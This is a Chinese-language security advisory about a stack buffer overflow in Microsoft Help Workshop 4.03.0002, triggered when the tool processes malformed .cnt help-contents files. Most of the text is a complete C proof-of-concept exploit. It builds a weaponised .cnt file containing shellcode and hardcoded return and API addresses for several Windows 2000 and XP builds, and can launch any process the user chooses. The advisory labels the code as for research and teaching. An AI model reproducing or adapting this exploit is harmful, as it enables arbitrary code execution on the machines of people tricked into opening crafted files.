发布日期：2007-01-17
更新日期：2007-01-23

受影响系统：

Microsoft Visual Studio 6.0
Microsoft Visual Studio 2003
Microsoft Help Workshop 4.03.0002

描述：

---

BUGTRAQ  ID: 22100

Microsoft Help Workshop是Microsoft Visual Studio中的一个标准组件，用于帮助创建HTML格式的HELP文件。

Microsoft Help Workshop在处理畸形.cnt文件时存在栈缓冲区溢出漏洞，远程攻击者可能利用此漏洞控制用户机器。

如果.cnt文件中包含有以%d %s格式创建的行的话，如：

1 SomeContentsDescription

则用户被诱骗调用Help Workshop处理上述文件时就会出现栈溢出，导致执行任意指令。

<*来源：porkythepig （porkythepig@anspi.pl）
  
  链接：http://archives.neohapsis.com/archives/bugtraq/2007-01/0426.html
        http://secunia.com/advisories/23862/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

/////////////////////////////////////////////////////////////
//*****************
//
// PoC exploit for .cnt files buffer overflow vulnerability in
// Microsoft Help Workshop v4.03.0002
// The tool is standard component of MS Visual Studio v6.0, 2003 (.NET)
//
// vulnerability found / exploit built by porkythepig
//
//*****************

#include "stdio.h"
#include "stdlib.h"
#include "string.h"
#include "memory.h"

#define STR01 "0 Microsoft Help Workshop PoC exploit by porkythepig "
#define DEF_SPAWNED_PROCESS "notepad.exe"
#define EXPL_SIZE 619
#define PROC_NAM_SIZ 66
#define RET_OFFSET 0x210
#define PROC_NAME_OFFSET 0x228
#define BACK_SEQ_OFFSET 0x218
#define EXPRO_OFFSET 0xbf
#define GETSTAR_OFFSET 0x4a
#define CREPRO_OFFSET 0xb5
#define GETWINDIR_OFFSET 0x65

typedef struct
{
        unsigned int extPro;
        unsigned int getStarInf;
        unsigned int crePro;
        unsigned int getWinDir;
        unsigned int jmpEspPtr;
}ApiPtrs;

ApiPtrs osApiPtrs[5]=
{
        0x793f69da,0x793f6b7a,0x793f5010,0x793f2d23,0x7cfdbd1b,
        0x7c4ee01a,0x7c4f49df,0x7c4fc0a0,0x7c4e9cFF,0x784452e4,
        0x7c5969da,0x7c596b7a,0x7c595010,0x7c592d23,0x7d0812e4,
        0x7c81cdda,0x7c801eee,0x7c802367,0x7c821363,0x7cc58fd8,
        0x77e75cb5,0x77e6177a,0x77e61bb8,0x77e705b0,0x775e6247
};

unsigned char shlCode[]=
{
        0x66,0x83,0xc4,0x10,0x8b,0xc4,0x66,0x81,
        0xec,0x10,0x21,0x50,0x66,0x2d,0x11,0x11,
        0x50,0xb8,0x7a,0x6b,0x3f,0x79,0xff,0xd0,
        0x58,0x50,0x80,0x38,0x20,0x74,0x49,0x5b,
        0x53,0x33,0xc0,0xb0,0xff,0x50,0x66,0x81,
        0xeb,0x11,0x05,0x53,0xb8,0x23,0x2d,0x3f,
        0x79,0x3c,0xff,0x75,0x02,0x32,0xc0,0xff,
        0xd0,0x58,0x50,0x66,0x2d,0x11,0x05,0x32,
        0xdb,0x38,0x18,0x74,0x03,0x40,0xeb,0xf9,
        0x5b,0x53,0x32,0xd2,0xb1,0x5c,0x88,0x08,
        0x40,0x38,0x13,0x74,0x08,0x8a,0x0b,0x88,
        0x08,0x43,0x40,0xeb,0xf4,0x32,0xd2,0x88,
        0x10,0x58,0x50,0x66,0x2d,0x11,0x05,0x48,
        0x40,0x8b,0xd0,0x58,0x50,0x66,0x2d,0x11,
        0x11,0x50,0x33,0xc9,0x51,0x51,0x51,0x51,
        0x51,0x51,0x51,0x52,0xb8,0x10,0x50,0x3f,
        0x79,0xff,0xd0,0x33,0xc0,0x50,0xb8,0xda,
        0x69,0x3f,0x79,0xff,0xd0
};

unsigned char backSeq[]=
{
        0xe9,0x1b,0xfe,0xff,0xff
};

char buf0[EXPL_SIZE];
char spawnProcess[PROC_NAM_SIZ];
char *outName;
int osId;
int defProc;

void CompileBuffer()
{
        int ptr=0;

        memset(buf0,'1',EXPL_SIZE);
        ptr+=sprintf(buf0,"%s",STR01);
        memcpy(buf0+ptr,shlCode,sizeof(shlCode));
        memcpy(buf0+BACK_SEQ_OFFSET,backSeq,sizeof(backSeq));

        *((unsigned int*)(buf0+EXPRO_OFFSET))=osApiPtrs[osId].extPro;
        *((unsigned int*)(buf0+GETSTAR_OFFSET))=osApiPtrs[osId].getStarInf;
        *((unsigned int*)(buf0+CREPRO_OFFSET))=osApiPtrs[osId].crePro;
        *((unsigned int*)(buf0+GETWINDIR_OFFSET))=osApiPtrs[osId].getWinDir;
        *((unsigned int*)(buf0+RET_OFFSET))=osApiPtrs[osId].jmpEspPtr;

        ptr=PROC_NAME_OFFSET;
        if(!defProc)
        {
                buf0[ptr]=32;
                ptr++;
        }
        sprintf(buf0+ptr,"%s",spawnProcess);

        printf("Exploit buffer compiled\n");
}

void WriteBuffer()
{
        FILE *o;

        o=fopen(outName,"wb");
        if(o==NULL)
        {
                printf("Cannot open file for writing\n");
                exit(0);
        }
        
        fwrite(buf0,EXPL_SIZE,1,o);
        fclose(o);

        printf("Output .cnt file [ %s ] built successfully\n",outName);
}

void ProcessInput(int argc, char* argv[])
{
        printf("\nMicrosoft Help Workshop 4.03.0002 .cnt files exploit\n");
        printf("Vulnerability found & exploit built by porkythepig\n");
        
        if(argc<3)
        {
                printf("Syntax: exploit.exe os outName [spawnProc]\n");
                printf("[ os ] host OS, possible choices:\n");
                printf(" 0 Windows 2000 SP4 [Polish] updates on 11.01.2007\n");
                printf(" 1 Windows 2000 SP4 [English]\n");
                printf(" 2 Windows 2000 SP4 [English] updates on 11.01.2007\n");
                printf(" 3 Windows XP Pro SP2 [English] updates on 11.01.2007\n");
                printf(" 4 Windows XP Pro [English]\n");
                printf("[ outName ] output .cnt exploit file name\n");
                printf("[ spawnProc ] *optional* full path to the process to be spawned by\n");
                printf(" the exploit (if none specified default will be notepad.exe)\n");
                exit(0);
        }

        osId=atol(argv[1]);
        if((osId<0)||(osId>4))
        {
                exit(0);
        }

        outName=argv[2];

        if(argc>3)
        {
                if(strlen(argv[3])>=PROC_NAM_SIZ)
                {
                        exit(0);
                }
                strcpy(spawnProcess,argv[3]);
                defProc=0;
        }
        else
        {
                strcpy(spawnProcess,DEF_SPAWNED_PROCESS);
                defProc=1;
        }
}

int main(int argc, char* argv[])
{

        ProcessInput(argc,argv);
        CompileBuffer();
        WriteBuffer();

        return 0;
}

建议：

---

厂商补丁：

Microsoft
---------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.microsoft.com/technet/security/

浏览次数：3550
严重程度：0（网友投票）